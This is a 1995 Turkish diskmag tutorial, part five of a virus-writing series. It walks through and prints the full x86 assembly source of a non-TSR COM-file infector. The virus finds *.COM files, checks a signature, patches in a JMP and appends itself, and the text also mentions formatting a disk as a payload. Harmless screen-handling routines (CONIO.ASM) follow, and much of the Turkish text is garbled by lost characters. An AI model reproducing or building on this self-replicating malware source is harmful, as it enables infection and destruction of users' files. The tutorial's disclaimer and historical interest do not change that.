  Ŀ
  Ŀ
                                                                          
             "Recep'in Kesi"  Virsler V                               
                                                                          
  ٳ
   PS 24  Temmuz'95                                  Recep Tezkol          
  



> Merhaba Dostlar,

  Efendiiim, geen ayki yazma, EXE header iin neler demiiz diye syle bir
  baktmda iim karard. Muhabbet yapalm derken konuyu asmz.

  Tekrar EXE'ler konusuna girmek istemiyorum. Zira bu, rtarl giden virsler
  dizimizi Brezilya dizilerine dndrecek. En iyisi EXE virsleri incelerken
  bu konuya deiniriz.




  Virsler Yaz Dizisi V  TSR Olmayan COM Virsleri


> -Yaa ... abi, kim kard imdi bu virs muhabbetini... Millet sahilde biz
   burda...

   "Hssst.. Ihhhaaa..."

  Ne diyordum, dersimizin konusu TSR OLMAYAN COM virsler.

  -Pardon hocam... Hani PSP, DTA, DOS fonksiyonlar.. srada onlar vard...
   Bu doru, srada onlar vard ama ne yaparsn mfredat deiti. Yeri
   geldike gsterecekmiiz. Ht!.. Memet, ek elini burnundan bakim...


> TSR olmayan bir virs, yaylmak dolaysyla varln srdrebilmek iin,
  diskte bulalabilecek temiz dosya arar, bulur, kodunu o dosyaya ekler ve
  kontrolu zerinde bulunduu programa devreder. Bu ilem eer herhangi bir
  kontrol yok ise (ite u saatlerde bula gibi..) virsl programn her
  altrlmasnda disk zerinde temiz dosya kalmayncaya kadar tekrar
  edilir.

  Virsn yazar hain tipli biri ise, bulalacak dosya kalmadnda son
  olarak diske bir de format atar!!!.

  -?????!...

> Biliyorum olmad... Lfla peynir gemisi yrmyor. Peki bundan sonra derse
  kod arlkl devam edelim.

  Konuyu aklamaya alrken bir yandan da rnek bir virs oluturmaya
  alacaz. Virs programmz iin nce standart bir balk yazalm.


cseg    segment
        assume cs:cseg,ds:cseg,es:cseg
        org 100h
Prg:    jmp  VirusBasi

        db '------------------------------------------'
        db 'Eitim amal NON-TSR COM virs          '
        db '1-bu programn alaca kesin deildir. '
        db '2-alsa bile ne yapaca belli deildir.'
        db '3-derlenmesi ve altrlmas durumunda  '
        db 'kesinlikle sorumluluk size aittir.        '
        db 'Virs yaymak sutur. Yakalarlarsa karmam'
        db '------------------------------------------'


  Programn yazdmz bu blmn virsn bulat dosya olarak
  dnebiliriz.

 Programn ilk komutu olan 'jmp VirusBasi', program altrldnda
  kontrolu virse geirmek iin kullanlan ve virs tarafndan bulat
  dosyalarn uzunluuna bal olarak deitirilen bir komuttur. Bu komutun
  altnda bulunan aklamalar orjinal program temsil etmesinin yannda
  bizleri uyarma grevini yerine getirir. Ksacas buraya kadar olan kodlarn
  virsle bir ba yoktur.

 Bundan sonraki ksm virsn yuvarlakms, yeil, slak ve yapkan
  gvdesini oluturur!!.


Taban   label   word
VirusImza equ $-Taban
        dw 1995
VirusBasi:
        call    AltSatir
BurayaKadar equ $-Taban
AltSatir:
        pop     si
        sub     si,BurayaKadar


 Taban etiketi adndan da anlalaca zere virs kodunun balad konumun
  tabandr (ne demekse). '$', Amerika'nn para birimi olmann dnda koda
  dntrlmeyen yalanc komuttur. Programn bandan o noktasna kadar olan
  byte saysn verir. Virsn yukardaki blmnde bu ilem 'call AltSatir'
  komutunun ka byte'tan olutuunu buluyor. Nasl buluyor?..

  Diyelim ki Taban etiketi programn 500. byte'n, $ ise 503.byte'n ifade
  ediyor. (Yaknda bu dizi, 'Assembly renelim'e dnecek!)
  EQU'yu bilen var m?.. O zaman bilenler bilmeyenlere retsin, yufka yrekli
  olduumdan diyemiyorum.

  Efendim; Equ de, $ gibi bir yalanc komut. Assembler iin anlaml eyi
  (adn bulduramadm) bir deimeze atar. Deimez diyorum nk EQU ile
  yaplan bir atama daha sonraki satrlarda deitirilemez. rnein
  TOPLA equ ADD 'den sonra  TOPLA ax,bx  gibi bir satr yazabiliriz.

  Konumuza dnersek, Taban ile $ arasndaki byte saysn bulmak iin karma
  ilemi yapacamz bilmem sylememe gerek var m? Nasl olacak bu?..

  BurayaKadar equ $-Taban

  Artk BurayaKadar deimezi (bu ifadeyi sevdim, Trkeye armaan olsun)
  virsn bandan AltSatir etiketine kadar olan byte saysn ierir.
  nceki derslerimizde CALL komutunun ileyiini az da olsa incelemitik.
  Hatrlayalm, CALL komutu verilen bir adrese dallanmadan nce bir sonraki
  komutun offsetini stack'a srer ki, geri dn olabilsin. Bizim buradaki
  amacmz virsn segment iindeki offsetini renmek olduundan CALL
  komutu ile bir alt satra dallanp stack'tan bu adresi SI yazmacna
  ekiyoruz. imdiii... toparlarsak, elimizde CALL komutundan sonra gelen
  AltSatir etiketinin offseti ve virsn bandan AltSatir etiketine kadar
  olan byte says var. Daha sonra yapacamz ilemlerde kolaylk salamas
  ynnden SI yazmacnda bulunan AltSatir'n offsetinden virsn bandan
  buraya kadar olan byte saysn karp virs kodunun segment iindeki
  offsetini bu lu ruz. ff be... "altsatr, stsatr" kabak tad verdi..


        mov     ax,[si+Orjinal_ilk_2]
        mov     ds:[100h],ax
        mov     al,[si+Orjinal_3cu]
        mov     ds:[102h],al


 Virs bir dosyaya bulasa da bulamasa da sonuta zerinde bulunduu
  program altrmak zorundadr. Eer bunu yapmyorsa (benim fikrime gre)
  bu virs deil, olsa olsa bir trojan'dr. Bu nedenle dosyaya bulamadan nce
  dosyann bana koyduu JMP komutunun yerindeki kodlar saklar ve dosyann
  altrlmas gerektii zaman bunlar yerine iade eder.

  Yukardaki blmde virsn nceden saklad farzedilen deerleri (3 adet
  byte) yerine aktarlmas bulunmaktadr. Orjinal_ilk_2 ve Orjinal_3cu
  deimezleri virsn veri alannda, daha bir dosyaya bulalmadndan
  virsn sonlanmas iin gerekli komutun makina dili deerlerini tar.


;bu satrlar programn altnda bulunmaktadr...
;ieriini gstermek iin burada verildi..
Orjinal_ilk_2 equ $-Taban
        dw 20cdh          ;ilk deeri  INT 20h

Orjinal_3cu   equ $-Taban
        db 90h            ;ilk deeri  NOP


  Yukardaki blm iletildikten sonra

Prg:    Jmp VirusBasi 'nn yerine

  INT 20h gelecek ve virs iini bitirip offset 100h yani COM programlarn
  start adresine dallandnda program sonlanp DOS'a dnecektir.
  Virsn bir dosyaya bulam kopyasnda bu deerler orjinal dosyann ilk 
  byte' olacandan sanki hi bir ey olmam gibi orjinal program
  alacaktr.


        push    es
        mov     ah,2fh
        int     21h
        mov     word ptr ds:[si+EskiDta+2],es
        mov     word ptr ds:[si+EskiDta],bx
        pop     es


  Bu blm programn DTA adresini renir ve saklar. Bunu yapmak zorundayz.
  nk biraz sonra disk zerinde COM uzantl dosya arayacamz iin,
  program altran kullancnn komut satrndan girdii parametrelerin
  bozulmasna neden olmamamz gerekir.

 DTA - Disk Transfer Area - PSP'nin ikinci 128 byte'nda bulunur ve program
  altrlrken girilen parametrelerde DTA'nn banda yer alr.
  Yukarda verilen rnekte eski DTA'nn saklanmas, DTA adresinin
  saklanmasdr.


        mov     dx,si         ;DX=virsn ilk offseti
        add     dx,YeniDta    ;DX=DX+YeniDta 'ya kadar olan byte says
        mov     ah,1ah
        int     21h


  Eski DTA adresini sakladmz iin buray kullanma hakkn elde edemiyoruz.
  Dediimiz gibi Orjinal program komut satrndan parametre kabul ediyorsa
  bu alann ierii nemli olabilir. Bu nedenle Virsn dosya aramalarnda
  kullanaca yeni bir DTA tanmlamak gerekiyor.

     Ŀ
                DTA 'nn erii:                   
     
     Ŀ
       21 byte  DOS'a ayrlm..                    
        1 byte  Dosya nitelii                      
        1 word  Dosyann son gncelleme saati       
        1 word  Dosyann son gncelleme tarihi      
        1 dword Dosyann byte olarak uzunluu       
       13 byte  Dosya ismi + 0                      
     

  Interrupt 21h, 1ah fonksiyonu ds:dx yazmalarnn iaret ettii adreste
  bulunan alan aktif DTA olarak seer.


        mov     dx,si
        add     dx,Aranan          ;Aranan = '*.COM',0
        mov     cx,00100111b       ;ariv + sistem + gizli + yalnz okuma
        mov     ah,4eh             ;ilk uygun dosyay bul
        int     21h                ;
        jb      dosyalar_bitti     ;Hi bir dosya bulunamamsa dn..
        jmp     Kontrol            ;bulunan Dosyann kontronu yaplacak
Tekrar_ara:
        mov     ah,4fh             ;bir sonraki dosyay bul
        int     21h
        jb      dosyalar_bitti
Kontrol:
        cmp     byte ptr ds:[si+Dosyaismi],'.' ;Buradaki kontrol bu virs
        jz      Tekrar_ara                     ;iin gerekmeyebilir.
        test    byte ptr ds:[si+DosyaAttr],10h ;bulunan dosya bir dizin ise
        jnz     Tekrar_ara                     ;tekrar aratr.
        jmp     BULAS                          ;bulunan bir dosya ise BULAS
dosyalar_bitti:



  Bu ksm iin fazla bir aklamaya gerek yok sanrm. Gerekli olabilecek
  aklamalar satr yanlarnda verdim.


        push    ds
        lds     dx,dword ptr ds:[si+EskiDta]
        mov     ah,1ah
        int     21h
        pop     ds
        mov     ax,100h
        push    ax
        sub     ax,ax
        mov     bx,ax
        mov     cx,ax
        mov     dx,ax
        mov     si,ax
        mov     di,ax
        ret


 Dosya arama ve bulama ileri bittikten sonra orjinal programn
  altrlmas gereklidir. Yoksa kullanc phelenebilir. Bunun iin nce
  eski DTA'nn tekrar aktif hale getirilmelidir. Bunu 1Ah fonksiyonu ile
  sakladmz DTA adresini etkinletirerek yapyoruz. Ardndan stack'a 100h
  deerini sryoruz. 100h adresi COM programlarda ileyiin balad
  adrestir.

  Virsn kulland tm yazmalar temizlenerek bir RET komutuyla ileyii
  orjinal programa devrediyoruz.
  (RET, stack'taki 100h deerini IP yazmacna atar.)



BULAS:
        cmp     word ptr ds:[si+DosyaBoyu+2],0
        ja      Tekrar_ara
        cmp     word ptr ds:[si+DosyaBoyu],49999
        ja      Tekrar_ara


  imdiiii... geldik virsn kendine kurban olarak setii dosyaya bulamaya..
  Burada ilk kontrol dosya uzunluudur. Bildiiniz gibi COM programlar bir
  segment iinde olmak zorundadr. Virs bulat dosyann boyunu 64 KB
  zerine karrsa dosya bellee yklenmez. Biz burada max. 49999 byte
  dosyalara bulamay hedefliyoruz..


        mov     dx,si
        add     dx,Dosyaismi
        mov     ax,3d00h
        int     21h
        jb      Tekrar_ara
        mov     bx,ax


  Dosya okumak iin alr.. Alma ileminde bir hata olursa yeni dosya
  aranmas iin Tekrar_ara'ya dnlr.

        mov     dx,si
        add     dx,Tampon
        mov     ah,3fh
        mov     cx,3
        int     21h

  Dosyay atk, imdi sra geldi virsn dosya zerinde imzasn aramasna..
  Tampon'a dosyann ilk 3 byte' okunur. Virs bulat dosyalarn bana bir
  JMP komutu getirdii iin;

        mov     dx,word ptr ds:[si+Tampon+1]

DX= JMP komutunun dallanaca adres

        add     dx,3 + VirusImza
DX=DX+ Virsn  imzasnn bulunduu konum..

        xor     cx,cx
        mov     ax,4200h
        int     21h


  ve okuma kafasn imza zerine getiririz..


        mov     dx,si
        add     dx,Tampon+3
        mov     ah,3fh
        mov     cx,2
        int     21h
        mov     ah,3eh
        int     21h


  Virsn iki byte uzunluundaki imzasn okuyup dosyay kapatyoruz..


        cmp     word ptr ds:[si+Tampon+3],1995
        jz      Tekrar_ara

  Okunan mza 1995 ise virs dosyadadr yani bir daha bulalmaya gerek yok..
  Ama imza tutmuyorsa bulama ilemine geebiliriz.


DosyaAc:
        mov     dx,si
        add     dx,Dosyaismi
        mov     ax,3d02h
        int     21h
        jb      Tekrar_ara
        mov     bx,ax


  Dosyay okuma/yazma olarak ayoruz..


        mov     byte ptr ds:[si+Tampon+3],0e9h
        mov     ax,word ptr ds:[si+DosyaBoyu]
        sub     ax,3
        mov     word ptr ds:[si+Tampon+4],ax
        mov     dx,si
        add     dx,Tampon+3
        mov     ah,40h
        mov     cx,3
        int     21h


  Dosyann bana virse dallanma yapacak bir JMP komutu yerletiriyoruz.


        mov     ax,word ptr ds:[si+Tampon]
        mov     word ptr ds:[si+Orjinal_ilk_2],ax
        mov     al,byte ptr ds:[si+Tampon+2]
        mov     ds:[si+Orjinal_3cu],al


  Dosyann orjinal byte'lar virsn iindeki yerlerine konur.


        xor     cx,cx
        xor     dx,dx
        mov     ax,4202h
        int     21h


  Okuma yazma kafas dosyann sonuna getirilir.


        mov     dx,si
        mov     ah,40h
        mov     cx,VirusUzunluk
        int     21h


  Virs dosyann sonuna eklenip,


        mov     ah,3eh
        int     21h
        jmp     Dosyalar_Bitti


  dosya kapatlr.


Aranan  equ $-Taban
        db '*.COM',0
Orjinal_ilk_2 equ $-Taban
        dw 20cdh          ;ilk deeri  INT 20h
Orjinal_3cu   equ $-Taban
        db 90h            ;ilk deeri  NOP
YeniDta equ $-Taban
        db 21 dup (?)
DosyaAttr equ $-Taban
        db ?
        dw ?
        dw ?
DosyaBoyu equ $-Taban
        dd ?
Dosyaismi equ $-Taban
        db 13 dup (?)
EskiDta equ $-Taban
        dd ?
Tampon  equ $-Taban
        db 6 dup (?)
VirusUzunluk equ $-Taban
cseg    ends
        end Prg


 Virsmz nihayet bitti.. Ama unu nemle ve bir daha hatrlatmakta fayda
  gryorum. Bu virs nceden planlanp kodlanmad iin alr m, almaz
  m alrsa ne yapar, ne yapmaz inann bu konuda hi bir fikrim yok..
  Yaznn ierisinde oluturulmu bir programda ancak bu kadar olur.
  Ki amacmzn virs yazmak olmadn biliyorsunuz. Bizimkisi yanlz bir
  fikir vermek..



> Efendim, bu ayki diskette bana ayrlan sektr saysnn da burada tketmi
  bulunmaktaym. Gelecek ay konumuz yine COM virsler ama TSR cinsinden..
  Ve yazacamz virs kodunun iyi olacana garanti verebilirim..

  Sevgiler, sayglar...


> Sorularna hzl cevap almak isteyenler iin adresim:

  tezkolr@doruk.com.tr
  ====================





        Gk altnda kalan PSAV 3'ten blmler....


                      PSAV 3  EKRAN RUTINLERI

---------
CONIO.ASM
---------

;Conio.asm
jumps
locals @@
.model tiny
.data
extrn ScreenBuffer:word         ;dw      ?
extrn ScreenSeg:word            ;dw      0b800h

taban          dw 0,0
sayac          dw 0,0
cizgiler db'ɻȼͺڿĳ'
.code

public _SaveScreen
_SaveScreen proc pascal no:byte
        push    ds es si di bx
        mov     al,no
        cbw
        mov     bx,4000
        mul     bx
        mov     di,ax
        mov     es,ScreenBuffer
        xor     si,si
        mov     ds,Screenseg
        mov     cx,2000
        rep     movsw
        pop     bx di si es ds
        ret
_SaveScreen endp

public _RestScreen
_RestScreen proc pascal no:byte
        push    ds es si di bx
        mov     al,no
        cbw
        mov     bx,4000
        mul     bx
        xor     di,di
        mov     es,ScreenSeg
        mov     si,ax
        mov     ds,ScreenBuffer
        mov     cx,2000
        rep     movsw
@@cik:
        pop     bx di si es ds
        ret
_RestScreen endp


public _print
_print  proc    pascal x:byte,y:byte,string:dword,attr:byte
        push    ds es
        push    di si
        call    _gotoxy pascal,word ptr x ,word ptr y
        mov     di,ax
        mov     es,Screenseg
        mov     ah,attr
        lds     si,string
        cld
donyazi:
        lodsb
        or      al,al
        jz      yazison
        stosw
        jmp     donyazi
yazison:
        pop     si di
        pop     es ds
        ret
_print  endp

public _gotoxy
_gotoxy  proc    pascal x:byte,y:byte
        push    bx dx
        mov     al,y
        cbw
        mov     bx,160
        mul     bx
        xchg    bx,ax
        mov     al,x
        cbw
        shl     ax,1
        add     ax,bx
        pop     dx bx
        ret
_gotoxy  endp

public _putchar
_putchar proc    pascal x:byte,y:byte,c:byte,attr:byte
        push    es di
        call    _gotoxy pascal,word ptr x ,word ptr y
        mov     di,ax
        mov     es,Screenseg
        mov     ah,attr
        mov     al,c
        stosw
        pop     di es
        ret
_putchar endp

public _scroll
_scroll  proc    pascal x:byte,y:byte,xx:byte,yy:byte,attr:byte,adet:byte
        push    bx cx dx
        mov     ch,y
        mov     cl,x
        mov     dh,yy
        mov     dl,xx
        mov     bh,attr
        mov     al,adet
        mov     ah,6
        test    al,10000000b
        jz      @@atla
        inc     ah
        not     al
        inc     al
@@atla:
        int     10h
        pop     dx cx bx
        ret
_scroll  endp

public _clrscr

_clrscr  proc    near
        xor     ax,ax
        push    ax ax
        mov     ax,79
        push    ax
        mov     ax,24
        push    ax
        mov     ax,7
        push    ax
        xor     ax,ax
        push    ax
        call    _scroll
        ret
_clrscr  endp

public _linecls

_linecls proc    pascal y:byte,attr:byte
        push    bx
        xor     ax,ax
        mov     bx,79
        call    _scroll pascal,ax,word ptr y,bx,word ptr y,word ptr attr,ax
        pop     bx
        ret
_linecls endp

public _lineclsx
_lineclsx proc   pascal y:byte,x:byte,xx:byte,attr:byte
        xor     ax,ax
        call    _scroll pascal,word ptr x,word ptr y,word ptr xx,word ptr
y,word ptr attr,ax
        ret
_lineclsx endp




public _delay
_delay  proc    pascal sure:word

        push    ds cs
        pop     ds

        push    ds bx cx
        mov     cx,sure                 ; bekleme sresi
        jcxz    @@Cikis                 ; 0 ise bekleme yapma.cikis
        mov     ax,taban                ;
        mov     dx,taban+2              ;
        or      ax,dx                   ; taban deer nceden alnmm
        jnz     @@tabanvar              ; alnd ise atla
        push    es                      ;
        mov     taban,0                 ;
        mov     taban+2,0               ;
        xor     ax,ax                   ;
        mov     es,ax                   ;
        mov     al,byte ptr es:[46ch]   ; 1/18 saniyede bir artar.
@@tbas:
        cmp     al,byte ptr es:[46ch]   ;
        jz      @@tbas                  ;
        mov     al,byte ptr es:[46ch]   ; 1/18 saniyede bir artar.
@@tbul:                                 ;
        add     taban,1                 ;
        adc     taban+2,0               ;
        cmp     al,byte ptr es:[46ch]   ;
        jz      @@tbul                  ;
        pop     es                      ;
@@tabanvar:                             ;
        mov     ax,taban                ;
        mov     dx,taban+2              ;
        mov     bx,37                   ;
        div     bx
        cld
@@bek1:
        mov     sayac,ax
        mov     sayac+2,0
@@bek:
        sub     sayac,1
        sbb     sayac+2,0
        jns     @@bek
        loop    @@bek1
@@Cikis:
        pop     cx bx ds
        pop     ds
        ret
_delay   endp

public _box
_box    proc    pascal x:byte,y:byte,xx:byte,yy:byte,attr:byte,tip:byte
        push    bx cx
        lea     bx,cizgiler
        cmp     tip,2
        jz      @@atla
        add     bx,6
@@atla:
        call    _putchar pascal,word ptr x,word ptr y,[bx],word ptr attr
        inc     bx
        call    _putchar pascal,word ptr xx,word ptr y,[bx],word ptr attr
        inc     bx
        call    _putchar pascal,word ptr x,word ptr yy,[bx],word ptr attr
        inc     bx
        call    _putchar pascal,word ptr xx,word ptr yy,[bx],word ptr attr
        inc     bx
        mov     cl,x
        xor     ch,ch
        inc     cx
@@don:
        call    _putchar pascal,cx,word ptr y,[bx],word ptr attr
        call    _putchar pascal,cx,word ptr yy,[bx],word ptr attr
        inc     cx
        cmp     xx,cl
        ja      @@don

        inc     bx
        mov     cl,y
        xor     ch,ch
        inc     cx
@@don1:
        call    _putchar pascal,word ptr x,cx,[bx],word ptr attr
        call    _putchar pascal,word ptr xx,cx,[bx],word ptr attr
        inc     cx
        cmp     yy,cl
        ja      @@don1
        pop     cx bx
        ret
_box    endp



public _flas
_flas   proc    pascal x:byte,y:byte,xx:byte,yy:byte,attr:byte,sure:word
        push    cx cx cx
soly    = byte ptr [bp-1]
sagy    = byte ptr [bp-2]
solx    = byte ptr [bp-3]
sagx    = byte ptr [bp-4]
        mov     al,y
        add     al,yy
        shr     al,1
        mov     Soly,al
        mov     Sagy,al
        mov     al,x
        add     al,xx
        shr     al,1
        mov     Solx,al
        mov     Sagx,al
@@Dongu:
        mov     al,y
        cmp     al,Soly
        jae     @@Y_tamam
        dec     Soly
@@Y_tamam:
        mov     al,yy
        cmp     al,Sagy
        jbe     @@YY_tamam
        inc     Sagy
@@YY_tamam:
        mov     al,x
        mov     cx,3
@@X_don:
        cmp     al,Solx
        jae     @@X_tamam
        dec     Solx
        loop    @@X_don
@@X_tamam:
        mov     al,xx
        mov     cx,3
@@XX_don:
        cmp     al,Sagx
        jbe     @@XX_tamam
        inc     Sagx
        loop    @@XX_don
@@XX_tamam:
        xor     ax,ax
        call    _scroll pascal,word ptr Solx,word ptr Soly,word ptr Sagx,word
ptr Sagy,word ptr attr,ax
        call    _delay pascal,word ptr sure
        mov     al,y
        cmp     al,Soly
        jb      @@Dongu
        mov     al,x
        cmp     al,Solx
        jb      @@Dongu
        mov     al,yy
        cmp     al,Sagy
        ja      @@Dongu
        mov     al,xx
        cmp     al,Sagx
        ja      @@Dongu
@@Cikis:
        pop     cx cx cx
        ret
_flas   endp
end

  






 